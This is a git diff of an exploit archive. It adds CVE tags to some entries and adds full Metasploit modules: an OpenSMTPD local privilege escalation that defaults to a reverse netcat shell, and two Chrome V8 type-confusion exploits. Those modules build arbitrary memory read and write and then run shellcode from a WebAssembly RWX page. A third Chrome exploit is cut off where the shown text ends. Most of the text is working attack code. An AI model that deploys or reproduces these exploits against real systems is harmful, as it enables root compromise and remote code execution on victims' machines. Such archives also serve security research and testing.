diff --git a/exploits/hardware/webapps/46841.txt b/exploits/hardware/webapps/46841.txt index 58a5afeed..e445adf0d 100644 --- a/exploits/hardware/webapps/46841.txt +++ b/exploits/hardware/webapps/46841.txt @@ -20,6 +20,11 @@ Severity Level: =============== HIGH +CVE: CVE-2019-20499 +CVE: CVE-2019-20500 +CVE: CVE-2019-20501 + + Base Score (CVSS): =============== 7.8 diff --git a/exploits/hardware/webapps/48142.txt b/exploits/hardware/webapps/48142.txt index de2860e78..36f8d9190 100644 --- a/exploits/hardware/webapps/48142.txt +++ b/exploits/hardware/webapps/48142.txt @@ -3,7 +3,7 @@ # Author: Author : Raki Ben Hamouda # Vendor: https://us.comtrend.com # Product link: https://us.comtrend.com/products/vr-3030/ -# CVE: N/A +# CVE: CVE-2020-10173 The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection vulnerability via ping and traceroute diagnostic page. diff --git a/exploits/java/webapps/46674.txt b/exploits/java/webapps/46674.txt index eafee994f..6324c4c5d 100644 --- a/exploits/java/webapps/46674.txt +++ b/exploits/java/webapps/46674.txt @@ -1,6 +1,6 @@ # Exploit Title: ManageEngine ServiceDesk Plus - 9.3 User enumeration vulnerability -# Date: /03/29/2019 -# Exploit Author: Alexander Bluestein +# Date: 2019-03-29 +# Exploit Author: Operat0r # Vendor Homepage: https://www.manageengine.com/ # Software Link: https://www.manageengine.com/products/service-desk/download.html # Version: 9.3 diff --git a/exploits/linux/local/48185.rb b/exploits/linux/local/48185.rb new file mode 100755 index 000000000..ea415ace2 --- /dev/null +++ b/exploits/linux/local/48185.rb @@ -0,0 +1,180 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + + # smtpd(8) may crash on a malformed message + Rank = AverageRanking + + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Expect + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation', + 'Description' => %q{ + This module exploits an out-of-bounds read of an attacker-controlled + string in OpenSMTPD's MTA implementation to execute a command as the + root or nobody user, depending on the kind of grammar OpenSMTPD uses. + }, + 'Author' => [ + 'Qualys', # Discovery and PoC + 'wvu' # Module + ], + 'References' => [ + ['CVE', '2020-8794'], + ['URL', 'https://seclists.org/oss-sec/2020/q1/96'] + ], + 'DisclosureDate' => '2020-02-24', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, # NOTE: Only when exploiting new grammar + # Patched in 6.6.4: https://www.opensmtpd.org/security.html + # New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546 + 'Targets' => [ + ['OpenSMTPD < 6.6.4 (automatic grammar selection)', + patched_version: Gem::Version.new('6.6.4'), + new_grammar_version: Gem::Version.new('6.4.0') + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SRVPORT' => 25, + 'PAYLOAD' => 'cmd/unix/reverse_netcat', + 'WfsDelay' => 60 # May take a little while for mail to process + }, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + )) + + register_advanced_options([ + OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) + ]) + + # HACK: We need to run check in order to determine a grammar to use + options.remove_option('AutoCheck') + end + + def srvhost_addr + Rex::Socket.source_address(session.session_host) + end + + def rcpt_to + "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]" + end + + def check + smtpd_help = cmd_exec('smtpd -h') + + if smtpd_help.empty? + return CheckCode::Unknown('smtpd(8) help could not be displayed') + end + + version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first + + unless version + return CheckCode::Unknown('OpenSMTPD version could not be found') + end + + version = Gem::Version.new(version) + + if version < target[:patched_version] + if version >= target[:new_grammar_version] + vprint_status("OpenSMTPD #{version} is using new grammar") + @grammar = :new + else + vprint_status("OpenSMTPD #{version} is using old grammar") + @grammar = :old + end + + return CheckCode::Appears( + "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794" + ) + end + + CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794") + end + + def exploit + # NOTE: Automatic check is implemented by the AutoCheck mixin + super + + start_service + + sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true" + + print_status("Executing local sendmail(8) command: #{sendmail}") + if cmd_exec(sendmail) != 'true' + fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?') + end + end + + def on_client_connect(client) + print_status("Client #{client.peerhost}:#{client.peerport} connected") + + # Brilliant work, Qualys! + case @grammar + when :new + print_status('Exploiting new OpenSMTPD grammar for a root shell') + + yeet = <<~EOF + 553- + 553 + + dispatcher: local_mail + type: mda + mda-user: root + mda-exec: #{payload.encoded}; exit 0\x00 + EOF + when :old + print_status('Exploiting old OpenSMTPD grammar for a nobody shell') + + yeet = <<~EOF + 553- + 553 + + type: mda + mda-method: mda + mda-usertable: + mda-user: nobody + mda-buffer: #{payload.encoded}; exit 0\x00 + EOF + else + fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar') + end + + sploit = { + '220' => /EHLO /, + '250' => /MAIL FROM:<[^>]/, + yeet => nil + } + + print_status('Faking SMTP server and sending exploit') + sploit.each do |line, pattern| + send_expect( + line, + pattern, + sock: client, + newline: "\r\n", + timeout: datastore['ExpectTimeout'] + ) + end + rescue Timeout::Error => e + fail_with(Failure::TimeoutExpired, e.message) + ensure + print_status("Disconnecting client #{client.peerhost}:#{client.peerport}") + client.close + end + + def on_client_close(client) + print_status("Client #{client.peerhost}:#{client.peerport} disconnected") + end + +end \ No newline at end of file diff --git a/exploits/multiple/remote/48183.rb b/exploits/multiple/remote/48183.rb new file mode 100755 index 000000000..ac1d07d26 --- /dev/null +++ b/exploits/multiple/remote/48183.rb @@ -0,0 +1,287 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Google Chrome 72 and 73 Array.map exploit', + 'Description' => %q{ + This module exploits an issue in Chrome 73.0.3683.86 (64 bit). + The exploit corrupts the length of a float in order to modify the backing store + of a typed array. The typed array can then be used to read and write arbitrary + memory. The exploit then uses WebAssembly in order to allocate a region of RWX + memory, which is then replaced with the payload. + The payload is executed within the sandboxed renderer process, so the browser + must be run with the --no-sandbox option for the payload to work correctly. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'dmxcsnsbh', # discovery + 'István Kurucsai', # exploit + 'timwr', # metasploit module + ], + 'References' => [ + ['CVE', '2019-5825'], + ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'], + ['URL', 'https://github.com/exodusintel/Chromium-941743'], + ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'], + ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'], + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => ['windows','osx'], + 'DefaultTarget' => 0, + 'Targets' => [ [ 'Automatic', { } ] ], + 'DisclosureDate' => 'Mar 7 2019')) + register_advanced_options([ + OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), + ]) + end + + def on_request_uri(cli, request) + + if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} + print_status("[*] #{request.body}") + send_response(cli, '') + return + end + + print_status("Sending #{request.uri} to #{request['User-Agent']}") + escaped_payload = Rex::Text.to_unescape(payload.encoded) + jscript = %Q^ +// HELPER FUNCTIONS +let conversion_buffer = new ArrayBuffer(8); +let float_view = new Float64Array(conversion_buffer); +let int_view = new BigUint64Array(conversion_buffer); +BigInt.prototype.hex = function() { + return '0x' + this.toString(16); +}; +BigInt.prototype.i2f = function() { + int_view[0] = this; + return float_view[0]; +} +BigInt.prototype.smi2f = function() { + int_view[0] = this << 32n; + return float_view[0]; +} +Number.prototype.f2i = function() { + float_view[0] = this; + return int_view[0]; +} +Number.prototype.f2smi = function() { + float_view[0] = this; + return int_view[0] >> 32n; +} +Number.prototype.i2f = function() { + return BigInt(this).i2f(); +} +Number.prototype.smi2f = function() { + return BigInt(this).smi2f(); +} + +// ******************* +// Exploit starts here +// ******************* +// This call ensures that TurboFan won't inline array constructors. +Array(2**30); + +// we are aiming for the following object layout +// [output of Array.map][packed float array][typed array][Object] +// First the length of the packed float array is corrupted via the original vulnerability, +// then the float array can be used to modify the backing store of the typed array, thus achieving AARW. +// The Object at the end is used to implement addrof + +// offset of the length field of the float array from the map output +const float_array_len_offset = 23; +// offset of the length field of the typed array +const tarray_elements_len_offset = 24; +// offset of the address pointer of the typed array +const tarray_elements_addr_offset = tarray_elements_len_offset + 1; +const obj_prop_b_offset = 33; + +// Set up a fast holey smi array, and generate optimized code. +let a = [1, 2, ,,, 3]; +let cnt = 0; +var tarray; +var float_array; +var obj; + +function mapping(a) { + function cb(elem, idx) { + if (idx == 0) { + float_array = [0.1, 0.2]; + + tarray = new BigUint64Array(2); + tarray[0] = 0x41414141n; + tarray[1] = 0x42424242n; + obj = {'a': 0x31323334, 'b': 1}; + obj['b'] = obj; + } + + if (idx > float_array_len_offset) { + // minimize the corruption for stability + throw "stop"; + } + return idx; + } + return a.map(cb); +} + +function get_rw() { + for (let i = 0; i < 10 ** 5; i++) { + mapping(a); + } + + // Now lengthen the array, but ensure that it points to a non-dictionary + // backing store. + a.length = (32 * 1024 * 1024)-1; + a.fill(1, float_array_len_offset, float_array_len_offset+1); + a.fill(1, float_array_len_offset+2); + + a.push(2); + a.length += 500; + + // Now, the non-inlined array constructor should produce an array with + // dictionary elements: causing a crash. + cnt = 1; + try { + mapping(a); + } catch(e) { + // relative RW from the float array from this point on + let sane = sanity_check() + print('sanity_check == ', sane); + print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16)); + print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16)); + print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16)); + + let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n; + print('original elements addr: ' + original_elements_ptr.toString(16)); + print('original elements value: ' + read8(original_elements_ptr).toString(16)); + print('addrof(Object): ' + addrof(Object).toString(16)); + } +} + +function sanity_check() { + success = true; + success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141; + success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242; + success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000; + return success; +} + +function read8(addr) { + let original = float_array[tarray_elements_len_offset+1]; + float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); + let result = tarray[0]; + float_array[tarray_elements_len_offset+1] = original; + return result; +} + +function write8(addr, val) { + let original = float_array[tarray_elements_len_offset+1]; + float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); + tarray[0] = val; + float_array[tarray_elements_len_offset+1] = original; +} + +function addrof(o) { + obj['b'] = o; + return float_array[obj_prop_b_offset].f2i(); +} + +var wfunc = null; +var shellcode = unescape("#{escaped_payload}"); + +function get_wasm_func() { + var importObject = { + imports: { imported_func: arg => print(arg) } + }; + bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; + wasm_code = new Uint8Array(bc); + wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); + return wasm_mod.exports.exported_func; +} + +function rce() { + let wasm_func = get_wasm_func(); + wfunc = wasm_func; + // traverse the JSFunction object chain to find the RWX WebAssembly code page + let wasm_func_addr = addrof(wasm_func) - 1n; + print('wasm: ' + wasm_func_addr); + if (wasm_func_addr == 2) { + print('Failed, retrying...'); + location.reload(); + return; + } + + let sfi = read8(wasm_func_addr + 12n*2n) - 1n; + print('sfi: ' + sfi.toString(16)); + let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n; + print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16)); + + let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n; + print('instance: ' + instance.toString(16)); + + //let rwx_addr = read8(instance + 0x108n); + let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86 + //let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100 + //let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84 + print('rwx: ' + rwx_addr.toString(16)); + + // write the shellcode to the RWX page + if (shellcode.length % 2 != 0) { + shellcode += "\u9090"; + } + + for (let i = 0; i < shellcode.length; i += 2) { + write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000)); + } + + // invoke the shellcode + wfunc(); +} + + +function exploit() { + print("Exploiting..."); + get_rw(); + rce(); +} + +exploit(); +^ + + if datastore['DEBUG_EXPLOIT'] + debugjs = %Q^ +print = function(arg) { + var request = new XMLHttpRequest(); + request.open("POST", "/print", false); + request.send("" + arg); +}; +^ + jscript = "#{debugjs}#{jscript}" + else + jscript.gsub!(/\/\/.*$/, '') # strip comments + jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); + end + + html = %Q^ + + + + + + + + ^ + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) + end + +end \ No newline at end of file diff --git a/exploits/multiple/remote/48184.rb b/exploits/multiple/remote/48184.rb new file mode 100755 index 000000000..69b253e8f --- /dev/null +++ b/exploits/multiple/remote/48184.rb @@ -0,0 +1,301 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit', + 'Description' => %q{ + This modules exploits a type confusion in Google Chromes JIT compiler. + The Object.create operation can be used to cause a type confusion between a + PropertyArray and a NameDictionary. + The payload is executed within the rwx region of the sandboxed renderer + process, so the browser must be run with the --no-sandbox option for the + payload to work. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'saelo', # discovery and exploit + 'timwr', # metasploit module + ], + 'References' => [ + ['CVE', '2018-17463'], + ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'], + ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'], + ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'], + ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'], + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => ['windows', 'osx'], + 'DefaultTarget' => 0, + 'Targets' => [ [ 'Automatic', { } ] ], + 'DisclosureDate' => 'Sep 25 2018')) + register_advanced_options([ + OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), + ]) + end + + def on_request_uri(cli, request) + + if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} + print_status("[*] " + request.body) + send_response(cli, '') + return + end + + print_status("Sending #{request.uri} to #{request['User-Agent']}") + + jscript = %Q^ +let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]); + +let ab = new ArrayBuffer(8); +let floatView = new Float64Array(ab); +let uint64View = new BigUint64Array(ab); +let uint8View = new Uint8Array(ab); + +Number.prototype.toBigInt = function toBigInt() { + floatView[0] = this; + return uint64View[0]; +}; + +BigInt.prototype.toNumber = function toNumber() { + uint64View[0] = this; + return floatView[0]; +}; + +function hex(n) { + return '0x' + n.toString(16); +}; + +function fail(s) { + print('FAIL ' + s); + throw null; +} + +const NUM_PROPERTIES = 32; +const MAX_ITERATIONS = 100000; + +function gc() { + for (let i = 0; i < 200; i++) { + new ArrayBuffer(0x100000); + } +} + +function make(properties) { + let o = {inline: 42} // TODO + for (let i = 0; i < NUM_PROPERTIES; i++) { + eval(`o.p${i} = properties[${i}];`); + } + return o; +} + +function pwn() { + function find_overlapping_properties() { + let propertyNames = []; + for (let i = 0; i < NUM_PROPERTIES; i++) { + propertyNames[i] = `p${i}`; + } + eval(` + function vuln(o) { + let a = o.inline; + this.Object.create(o); + ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')} + return [${propertyNames.join(', ')}]; + } + `); + + let propertyValues = []; + for (let i = 1; i < NUM_PROPERTIES; i++) { + propertyValues[i] = -i; + } + + for (let i = 0; i < MAX_ITERATIONS; i++) { + let r = vuln(make(propertyValues)); + if (r[1] !== -1) { + for (let i = 1; i < r.length; i++) { + if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) { + return [i, -r[i]]; + } + } + } + } + + fail("Failed to find overlapping properties"); + } + + function addrof(obj) { + eval(` + function vuln(o) { + let a = o.inline; + this.Object.create(o); + return o.p${p1}.x1; + } + `); + + let propertyValues = []; + propertyValues[p1] = {x1: 13.37, x2: 13.38}; + propertyValues[p2] = {y1: obj}; + + let i = 0; + for (; i < MAX_ITERATIONS; i++) { + let res = vuln(make(propertyValues)); + if (res !== 13.37) + return res.toBigInt() + } + + fail("Addrof failed"); + } + + function corrupt_arraybuffer(victim, newValue) { + eval(` + function vuln(o) { + let a = o.inline; + this.Object.create(o); + let orig = o.p${p1}.x2; + o.p${p1}.x2 = ${newValue.toNumber()}; + return orig; + } + `); + + let propertyValues = []; + let o = {x1: 13.37, x2: 13.38}; + propertyValues[p1] = o; + propertyValues[p2] = victim; + + for (let i = 0; i < MAX_ITERATIONS; i++) { + o.x2 = 13.38; + let r = vuln(make(propertyValues)); + if (r !== 13.38) + return r.toBigInt(); + } + + fail("Corrupt ArrayBuffer failed"); + } + + let [p1, p2] = find_overlapping_properties(); + print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`); + + let memview_buf = new ArrayBuffer(1024); + let driver_buf = new ArrayBuffer(1024); + + gc(); + + let memview_buf_addr = addrof(memview_buf); + memview_buf_addr--; + print(`ArrayBuffer @ ${hex(memview_buf_addr)}`); + + let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr); + + let driver = new BigUint64Array(driver_buf); + let original_memview_buf_ptr = driver[4]; + + let memory = { + write(addr, bytes) { + driver[4] = addr; + let memview = new Uint8Array(memview_buf); + memview.set(bytes); + }, + read(addr, len) { + driver[4] = addr; + let memview = new Uint8Array(memview_buf); + return memview.subarray(0, len); + }, + readPtr(addr) { + driver[4] = addr; + let memview = new BigUint64Array(memview_buf); + return memview[0]; + }, + writePtr(addr, ptr) { + driver[4] = addr; + let memview = new BigUint64Array(memview_buf); + memview[0] = ptr; + }, + addrof(obj) { + memview_buf.leakMe = obj; + let props = this.readPtr(memview_buf_addr + 8n); + return this.readPtr(props + 15n) - 1n; + }, + }; + + // Generate a RWX region for the payload + function get_wasm_instance() { + var buffer = new Uint8Array([ + 0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0, + 1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128, + 128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104, + 101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11 + ]); + return new WebAssembly.Instance(new WebAssembly.Module(buffer),{}); + } + + let wasm_instance = get_wasm_instance(); + let wasm_addr = memory.addrof(wasm_instance); + print("wasm_addr @ " + hex(wasm_addr)); + let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n); + print("wasm_rwx @ " + hex(wasm_rwx_addr)); + + memory.write(wasm_rwx_addr, shellcode); + + let fake_vtab = new ArrayBuffer(0x80); + let fake_vtab_u64 = new BigUint64Array(fake_vtab); + let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n); + + let div = document.createElement('div'); + let div_addr = memory.addrof(div); + print('div_addr @ ' + hex(div_addr)); + let el_addr = memory.readPtr(div_addr + 0x20n); + print('el_addr @ ' + hex(div_addr)); + + fake_vtab_u64.fill(wasm_rwx_addr, 6, 10); + memory.writePtr(el_addr, fake_vtab_addr); + + print('Triggering...'); + + // Trigger virtual call + div.dispatchEvent(new Event('click')); + + // We are done here, repair the corrupted array buffers + let addr = memory.addrof(driver_buf); + memory.writePtr(addr + 32n, original_driver_buf_ptr); + memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr); +} + +pwn(); +^ + + if datastore['DEBUG_EXPLOIT'] + debugjs = %Q^ +print = function(arg) { + var request = new XMLHttpRequest(); + request.open("POST", "/print", false); + request.send("" + arg); +}; +^ + jscript = "#{debugjs}#{jscript}" + else + jscript.gsub!(/\/\/.*$/, '') # strip comments + jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); + end + + html = %Q^ + + + + + + + +^ + + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) + end + +end \ No newline at end of file diff --git a/exploits/multiple/remote/48186.rb b/exploits/multiple/remote/48186.rb new file mode 100755 index 000000000..545ada2e6 --- /dev/null +++ b/exploits/multiple/remote/48186.rb @@ -0,0 +1,382 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Post::File + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit', + 'Description' => %q{ + This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit + corrupts the length of a float array (float_rel), which can then be used for out + of bounds read and write on adjacent memory. + The relative read and write is then used to modify a UInt64Array (uint64_aarw) + which is used for read and writing from absolute memory. + The exploit then uses WebAssembly in order to allocate a region of RWX memory, + which is then replaced with the payload shellcode. + The payload is executed within the sandboxed renderer process, so the browser + must be run with the --no-sandbox option for the payload to work correctly. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Clément Lecigne', # discovery + 'István Kurucsai', # exploit + 'Vignesh S Rao', # exploit + 'timwr', # metasploit copypasta + ], + 'References' => [ + ['CVE', '2020-6418'], + ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'], + ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'], + ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'], + ], + 'Arch' => [ ARCH_X64 ], + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}], + ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}], + ], + 'DisclosureDate' => 'Feb 19 2020')) + register_advanced_options([ + OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), + ]) + end + + def on_request_uri(cli, request) + if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} + print_status("[*] #{request.body}") + send_response(cli, '') + return + end + + print_status("Sending #{request.uri} to #{request['User-Agent']}") + escaped_payload = Rex::Text.to_unescape(payload.raw) + jscript = %Q^ +var shellcode = unescape("#{escaped_payload}"); + +// HELPER FUNCTIONS +let conversion_buffer = new ArrayBuffer(8); +let float_view = new Float64Array(conversion_buffer); +let int_view = new BigUint64Array(conversion_buffer); +BigInt.prototype.hex = function() { + return '0x' + this.toString(16); +}; +BigInt.prototype.i2f = function() { + int_view[0] = this; + return float_view[0]; +} +BigInt.prototype.smi2f = function() { + int_view[0] = this << 32n; + return float_view[0]; +} +Number.prototype.f2i = function() { + float_view[0] = this; + return int_view[0]; +} +Number.prototype.f2smi = function() { + float_view[0] = this; + return int_view[0] >> 32n; +} + +Number.prototype.fhw = function() { + float_view[0] = this; + return int_view[0] >> 32n; +} + +Number.prototype.flw = function() { + float_view[0] = this; + return int_view[0] & BigInt(2**32-1); +} + +Number.prototype.i2f = function() { + return BigInt(this).i2f(); +} +Number.prototype.smi2f = function() { + return BigInt(this).smi2f(); +} + +function hex(a) { + return a.toString(16); +} + +// +// EXPLOIT +// + +// the number of holes here determines the OOB write offset +let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1]; +var float_rel; // float array, initially corruption target +var float_carw; // float array, used for reads/writes within the compressed heap +var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space +var obj_leaker; // used to implement addrof +vuln.pop(); +vuln.pop(); +vuln.pop(); + +function empty() {} + +function f(nt) { + // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug + vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05); + for (var i = 0; i < 0x10000; ++i) {}; +} + +let p = new Proxy(Object, { + get: function() { + vuln[0] = {}; + float_rel = [0.2, 1.2, 2.2, 3.2, 4.3]; + float_carw = [6.6]; + uint64_aarw = new BigUint64Array(4); + obj_leaker = { + a: float_rel, + b: float_rel, + }; + + return Object.prototype; + } +}); + +function main(o) { + for (var i = 0; i < 0x10000; ++i) {}; + return f(o); +} + +// reads 4 bytes from the compressed heap at the specified dword offset after float_rel +function crel_read4(offset) { + var qw_offset = Math.floor(offset / 2); + if (offset & 1 == 1) { + return float_rel[qw_offset].fhw(); + } else { + return float_rel[qw_offset].flw(); + } +} + +// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel +function crel_write4(offset, val) { + var qw_offset = Math.floor(offset / 2); + // we are writing an 8-byte double under the hood + // read out the other half and keep its value + if (offset & 1 == 1) { + temp = float_rel[qw_offset].flw(); + new_val = (val << 32n | temp).i2f(); + float_rel[qw_offset] = new_val; + } else { + temp = float_rel[qw_offset].fhw(); + new_val = (temp << 32n | val).i2f(); + float_rel[qw_offset] = new_val; + } +} + +const float_carw_elements_offset = 0x14; + +function cabs_read4(caddr) { + elements_addr = caddr - 8n | 1n; + crel_write4(float_carw_elements_offset, elements_addr); + print('cabs_read4: ' + hex(float_carw[0].f2i())); + res = float_carw[0].flw(); + // TODO restore elements ptr + return res; +} + + +// This function provides arbitrary within read the compressed heap +function cabs_read8(caddr) { + elements_addr = caddr - 8n | 1n; + crel_write4(float_carw_elements_offset, elements_addr); + print('cabs_read8: ' + hex(float_carw[0].f2i())); + res = float_carw[0].f2i(); + // TODO restore elements ptr + return res; +} + +// This function provides arbitrary write within the compressed heap +function cabs_write4(caddr, val) { + elements_addr = caddr - 8n | 1n; + + temp = cabs_read4(caddr + 4n | 1n); + print('cabs_write4 temp: '+ hex(temp)); + + new_val = (temp << 32n | val).i2f(); + + crel_write4(float_carw_elements_offset, elements_addr); + print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i())); + + float_carw[0] = new_val; + // TODO restore elements ptr + return res; +} + +const objleaker_offset = 0x41; +function addrof(o) { + obj_leaker.b = o; + addr = crel_read4(objleaker_offset) & BigInt(2**32-2); + obj_leaker.b = {}; + return addr; +} + +const uint64_externalptr_offset = 0x1b; // in 8-bytes + +// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array +function read8(addr) { + faddr = addr.i2f(); + t1 = float_rel[uint64_externalptr_offset]; + t2 = float_rel[uint64_externalptr_offset + 1]; + float_rel[uint64_externalptr_offset] = faddr; + float_rel[uint64_externalptr_offset + 1] = 0.0; + + val = uint64_aarw[0]; + + float_rel[uint64_externalptr_offset] = t1; + float_rel[uint64_externalptr_offset + 1] = t2; + return val; +} + +// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array +function write8(addr, val) { + faddr = addr.i2f(); + t1 = float_rel[uint64_externalptr_offset]; + t2 = float_rel[uint64_externalptr_offset + 1]; + float_rel[uint64_externalptr_offset] = faddr; + float_rel[uint64_externalptr_offset + 1] = 0.0; + + uint64_aarw[0] = val; + + float_rel[uint64_externalptr_offset] = t1; + float_rel[uint64_externalptr_offset + 1] = t2; + return val; +} + +// Given an array of bigints, this will write all the elements to the address provided as argument +function writeShellcode(addr, sc) { + faddr = addr.i2f(); + t1 = float_rel[uint64_externalptr_offset]; + t2 = float_rel[uint64_externalptr_offset + 1]; + float_rel[uint64_externalptr_offset - 1] = 10; + float_rel[uint64_externalptr_offset] = faddr; + float_rel[uint64_externalptr_offset + 1] = 0.0; + + for (var i = 0; i < sc.length; ++i) { + uint64_aarw[i] = sc[i] + } + + float_rel[uint64_externalptr_offset] = t1; + float_rel[uint64_externalptr_offset + 1] = t2; +} + + +function get_compressed_rw() { + + for (var i = 0; i < 0x10000; ++i) {empty();} + + main(empty); 